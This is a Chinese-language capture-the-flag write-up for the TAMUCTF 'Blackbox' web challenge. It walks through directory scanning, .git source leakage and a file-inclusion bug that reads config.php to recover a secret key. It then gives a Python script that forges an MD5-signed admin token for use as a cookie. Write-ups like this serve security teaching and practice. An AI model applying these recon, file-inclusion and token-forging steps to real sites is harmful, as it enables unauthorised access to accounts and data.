這是一篇關於打d3ctf坐牢,無奈去打國際賽的題解。
TAMUCTF [Blackbox]
首先開啟頁面,然後發現一個登陸框
剛開始最先想到就是弱口令登陸,嘗試幾個後發現登陸不進去。
之後我就換了一個思路,就是掃一下,看看能不能有什麼東西被掃出來,結果還真掃出來點東西,一個flag.txt,一個flag.php,還有就是.git洩露。
先訪問falg.txt結果被老外嘲笑一番,頁面返回hahaha loser,沒辦法脫下程式碼進行程式碼審計吧。
審計之後發現存在檔案包含,於是乎想起之前的falg.php,於是順利成章的讀取flag.php,但是哪有那麼順利,flag.php返回了一個youtobe的一個網址,靠,白高興了。
沒有辦法,只有進行登陸了,看登陸後會不會有flag。
於是又走上了一條程式碼審計的不歸路。
function verify_token(string $token) { $token_data = explode('.', $token); if(hash('md5', SECRET_KEY . $token_data[0]) == $token_data[1]) { return true; } return false; } //這裡是傳入一個字串,然後出現.號後分成倆部分,MD5雜湊演算法對SECRET_KEY和token_data[0]的組合字串進行雜湊處理,並將雜湊結果與token_data[1]進行比較。如果兩個值相同,則返回true,否則返回false。
function is_admin(string $token) { if(verify_token($token)) { $db = new SQLite3(DB_FILE); $data = json_decode(base64_decode(explode('.', $token)[0]), TRUE); $username = $data['username']; $user_key = $data['user_key']; $admin = $data['admin']; $statement = $db->prepare('SELECT * FROM users WHERE username=:uname AND key=:ukey;'); $statement->bindValue(':uname', $username); $statement->bindValue(':ukey', $user_key); $result = $statement->execute();//這裡進行了一個查詢資料庫,如果轉成JSON格式後的username與資料庫中users表的username一樣,並且user_key與key一樣就可以進行登陸。 if($result != false && $result->fetchArray() != false && $admin == true) { return true; } return false; } }
這裡就這倆個方法比較重要,這倆個方法進行身份驗證。
然後我們就可以下手了。
function verify_token(string $token) { $token_data = explode('.', $token); if(hash('md5', SECRET_KEY . $token_data[0]) == $token_data[1]) { return true; } return false; }
這裡我們首先獲得SECRET_KEY,這個SECRET_KEY,翻遍了所有檔案都沒有找到,但是在.gitignore檔案下面找到了config.php,所以我們使用檔案包含讀取config.php,果不其然·,我們找到了SECRET_KEY
然後我們寫一個指令碼獲取我們需要的字串。
import hashlib import json import base64 # 定義 SECRET_KEY 和 Token 資料 SECRET_KEY = 'JYOFGX6w5ylmYXyHuMM2Rm7neHXLrBd2V0f5No3NlP8' token_data = { "username": "admin", "user_key": "26ceb685f46e6d22", "admin": True } # 編碼 Token 資料,生成 Token 字串 encoded_token_data = base64.b64encode(json.dumps(token_data).encode()).decode() hash_str = SECRET_KEY + encoded_token_data hash_obj = hashlib.md5(hash_str.encode()) hash_result = hash_obj.hexdigest() token_str = "{0}.{1}".format(encoded_token_data, hash_result) # 驗證 Token 字串是否有效 token_parts = token_str.split('.') if len(token_parts) != 2: print("Token 字串不合法") else: decoded_token_data = json.loads(base64.b64decode(token_parts[0]).decode()) if ('username' in decoded_token_data and 'user_key' in decoded_token_data and 'admin' in decoded_token_data and decoded_token_data['username'] == 'admin' and decoded_token_data['user_key'] == '26ceb685f46e6d22' and decoded_token_data['admin'] is True): str_to_hash = SECRET_KEY + token_parts[0] hash_obj = hashlib.md5(str_to_hash.encode()) hash_result = hash_obj.hexdigest() if hash_result == token_parts[1]: print("Token 字串有效:", token_str) else: print("Token 字串無效") else: print("Token 字串無效")
構造cookie之後就能獲得flag。